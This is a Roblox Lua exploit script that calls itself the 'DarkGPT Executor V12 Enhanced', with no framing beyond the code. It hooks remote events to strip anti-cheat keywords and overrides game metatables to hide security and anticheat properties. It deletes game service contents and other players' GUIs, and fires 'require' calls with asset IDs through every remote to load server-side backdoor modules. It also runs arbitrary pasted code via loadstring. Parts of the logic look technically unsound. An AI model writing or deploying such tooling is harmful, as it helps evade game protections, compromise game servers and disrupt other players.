local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local ServerScriptService = game:GetService("ServerScriptService")
local ReplicatedFirst = game:GetService("ReplicatedFirst")
local StarterGui = game:GetService("StarterGui")
local Lighting = game:GetService("Lighting")
local player = Players.LocalPlayer
local ids = {7212439806, 5042448150, 2751579481, 9436935779, 5025864748,
2782124456, 13401911434, 4920584722, 9479584291, 6519023805, 11275669085}
local hookedRemotes = {}
local function createGui()
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "DarkGPTV12_Enhanced"
ScreenGui.IgnoreGuiInset = true
ScreenGui.ResetOnSpawn = false
ScreenGui.Enabled = true
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Global
ScreenGui.Parent = CoreGui
local Frame = Instance.new("Frame")
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 0)
Frame.BorderSizePixel = 5
Frame.Position = UDim2.new(0, 40, 0, 20)
Frame.Size = UDim2.new(0, 400, 0, 250)
Frame.Active = true
Frame.Draggable = true
local TextLabel = Instance.new("TextLabel")
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0, 130, 0, 0)
TextLabel.Size = UDim2.new(0, 140, 0, 24)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.Text = "DarkGPT Executor V12 Enhanced"
TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
TextLabel.TextSize = 14
local TextBox = Instance.new("TextBox")
TextBox.Parent = Frame
TextBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
TextBox.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox.BorderSizePixel = 1
TextBox.Position = UDim2.new(0, 10, 0, 25)
TextBox.Size = UDim2.new(0, 380, 0, 175)
TextBox.Font = Enum.Font.SourceSans
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextSize = 14
TextBox.ClearTextOnFocus = true
TextBox.MultiLine = true
TextBox.TextEditable = true
local execute = Instance.new("TextButton")
execute.Parent = Frame
execute.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
execute.BorderColor3 = Color3.fromRGB(0, 0, 0)
execute.BorderSizePixel = 1
execute.Position = UDim2.new(0, 10, 0, 205)
execute.Size = UDim2.new(0, 100, 0, 40)
execute.Font = Enum.Font.SourceSansBold
execute.Text = "Execute"
execute.TextColor3 = Color3.fromRGB(0, 0, 0)
execute.TextSize = 12
local clear = Instance.new("TextButton")
clear.Parent = Frame
clear.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
clear.BorderColor3 = Color3.fromRGB(0, 0, 0)
clear.BorderSizePixel = 1
clear.Position = UDim2.new(0, 140, 0, 205)
clear.Size = UDim2.new(0, 100, 0, 40)
clear.Font = Enum.Font.SourceSansBold
clear.Text = "Clear"
clear.TextColor3 = Color3.fromRGB(0, 0, 0)
clear.TextSize = 12
local inject = Instance.new("TextButton")
inject.Parent = Frame
inject.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
inject.BorderColor3 = Color3.fromRGB(0, 0, 0)
inject.BorderSizePixel = 1
inject.Position = UDim2.new(0, 270, 0, 205)
inject.Size = UDim2.new(0, 100, 0, 40)
inject.Font = Enum.Font.SourceSansBold
inject.Text = "Inject"
inject.TextColor3 = Color3.fromRGB(0, 0, 0)
inject.TextSize = 12
return ScreenGui, execute, clear, inject, TextBox
end
local function hookRemote(remote)
if not remote:IsA("RemoteEvent") or hookedRemotes[remote] then return end
pcall(function()
local oldFireServer = remote.FireServer
local bypassKeys = {"cheat", "hack", "exploit", "security", "detect",
"validate", "check", "log", "filter", "rmt", "anticheat", "protection", "guard",
"shield", "block", "restrict", "lock", "report", "ban", "kick", "audit", "monitor",
"secure", "verify", "auth", "enforce", "restrictor", "warden", "safeguard",
"integrity", "checksum", "hash", "signature", "sandbox", "isolate", "firewall",
"protocol", "compliance"}
remote.FireServer = function(self, ...)
local args = {...}
for i, v in ipairs(args) do
if type(v) == "string" then
for _, key in ipairs(bypassKeys) do
args[i] = v:gsub(key, "", 1):gsub(key:upper(), "",
1):gsub(key:lower(), "", 1)
end
end
end
return oldFireServer(self, table.unpack(args))
end
hookedRemotes[remote] = true
end)
end
local function antiDetect()
pcall(function()
local mt = getmetatable(game) or {}
local oldIndex = mt.__index or function(s, k) return rawget(s, k) end
local oldNamecall = mt.__namecall or function(s, k, ...) return end
local bypassKeys = {"filter", "security", "rmt", "enabled", "detect",
"validate", "check", "log", "secure", "audit", "monitor", "ban", "kick",
"anticheat", "exploit", "script", "protection", "guard", "shield", "block",
"restrict", "lock", "report", "verify", "auth", "enforce", "restrictor", "warden",
"safeguard", "integrity", "checksum", "hash", "signature", "sandbox", "isolate",
"firewall", "protocol", "compliance"}
mt.__index = function(s, k)
if type(k) ~= "string" then return oldIndex(s, k) end
for _, key in ipairs(bypassKeys) do
if k:lower():match(key) then return nil end
end
return oldIndex(s, k)
end
mt.__namecall = function(s, k, ...)
if type(k) ~= "string" then return oldNamecall(s, k, ...) end
for _, key in ipairs(bypassKeys) do
if k:lower():match(key) then return true end
end
return oldNamecall(s, k, ...)
end
setmetatable(game, mt)
local instanceMt = getmetatable(Instance) or {}
local oldIndex = instanceMt.__index or function(s, k) return rawget(s, k)
end
local oldNewIndex = instanceMt.__newindex or function(s, k, v) rawset(s, k,
v) end
instanceMt.__index = function(s, k)
if type(k) ~= "string" or k == "Parent" or k == "Locked" or k ==
"Archivable" or k:lower():match("security") or k:lower():match("anticheat") then
return nil end
return oldIndex(s, k)
end
instanceMt.__newindex = function(s, k, v)
if type(k) ~= "string" or k == "Parent" or k == "Locked" or k ==
"Archivable" or k:lower():match("security") or k:lower():match("anticheat") then
return end
pcall(function() oldNewIndex(s, k, v) end)
end
setmetatable(Instance, instanceMt)
for _, service in ipairs({ReplicatedStorage, ReplicatedFirst,
ServerScriptService, game:GetService("ServerStorage"), StarterGui, Lighting}) do
for _, v in pairs(service:GetDescendants()) do
if not v.Name:match("DarkGPT") then pcall(function() v:Destroy()
end) end
end
end
for _, p in pairs(Players:GetPlayers()) do
pcall(function()
local gui = p:FindFirstChild("PlayerGui")
if gui then
for _, v in pairs(gui:GetChildren()) do
if not v.Name:match("DarkGPT") then pcall(function()
v:Destroy() end) end
end
end
end)
end
pcall(function()
local omniBypass = Instance.new("Script")
omniBypass.Name = "DarkGPTV12_OmniBypass_" ..
HttpService:GenerateGUID(false):sub(1, 10)
omniBypass.Source = [[
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local bypassKeys = {"filter", "security", "rmt", "enabled",
"detect", "validate", "check", "log", "secure", "audit", "monitor", "ban", "kick",
"anticheat", "exploit", "script", "protection", "guard", "shield", "block",
"restrict", "lock", "report", "verify", "auth", "enforce", "restrictor", "warden",
"safeguard", "integrity", "checksum", "hash", "signature", "sandbox", "isolate",
"firewall", "protocol", "compliance"}
local function omniLoop()
pcall(function()
local mt = getmetatable(game) or {}
local oldIndex = mt.__index or function(s, k) return
rawget(s, k) end
mt.__index = function(s, k)
if type(k) ~= "string" then return oldIndex(s, k) end
for _, key in ipairs(bypassKeys) do
if k:lower():find(key, 1, true) then return nil end
end
return oldIndex(s, k)
end
setmetatable(game, mt)
local instanceMt = getmetatable(Instance) or {}
local oldIndex = instanceMt.__index or function(s, k)
return rawget(s, k) end
instanceMt.__index = function(s, k)
if type(k) ~= "string" or k == "Parent" or k ==
"Locked" or k == "Archivable" or k:lower():find("security", 1, true) or
k:lower():find("anticheat", 1, true) then return nil end
return oldIndex(s, k)
end
setmetatable(Instance, instanceMt)
end)
end
RunService.Heartbeat:Connect(omniLoop)
RunService.Stepped:Connect(omniLoop)
RunService.RenderStepped:Connect(omniLoop)
]]
omniBypass.Parent = ServerScriptService
end)
end)
end
local function setupGui()
local ScreenGui, execute, clear, inject, TextBox = createGui()
clear.MouseButton1Click:Connect(function()
TextBox.Text = ""
end)
inject.MouseButton1Click:Connect(function()
for _, v in pairs(ReplicatedStorage:GetDescendants()) do
if v:IsA("RemoteEvent") and not v.Name:lower():match("dialog") then
pcall(function()
hookRemote(v)
for _, id in pairs(ids) do
v:FireServer("require(" .. id .. ")")
end
end)
end
end
TextBox.Text = "Injected!"
end)
execute.MouseButton1Click:Connect(function()
local code = TextBox.Text
if not code or code == "" then return end
local id, username = code:match("require%((%d+)%)%.load%([\"'](.-)[\"']%)")
if id and username then
for remote, _ in pairs(hookedRemotes) do
pcall(function()
remote:FireServer("require(" .. id .. ").load(\"" ..
username .. "\")")
end)
end
return
end
pcall(function()
local func = loadstring(code)
if func then func() end
end)
end)
RunService.Heartbeat:Connect(function()
pcall(antiDetect)
if ScreenGui.Parent ~= CoreGui or not ScreenGui.Enabled then
ScreenGui.Parent = CoreGui
ScreenGui.Enabled = true
end
end)
RunService.Stepped:Connect(antiDetect)
RunService.RenderStepped:Connect(antiDetect)
return ScreenGui
end
local persistentGui = setupGui()
player.CharacterAdded:Connect(function()
if persistentGui.Parent ~= CoreGui or not persistentGui.Enabled then
persistentGui.Parent = CoreGui
persistentGui.Enabled = true
end
end)
RunService.Heartbeat:Connect(antiDetect)
RunService.Stepped:Connect(antiDetect)
RunService.RenderStepped:Connect(antiDetect)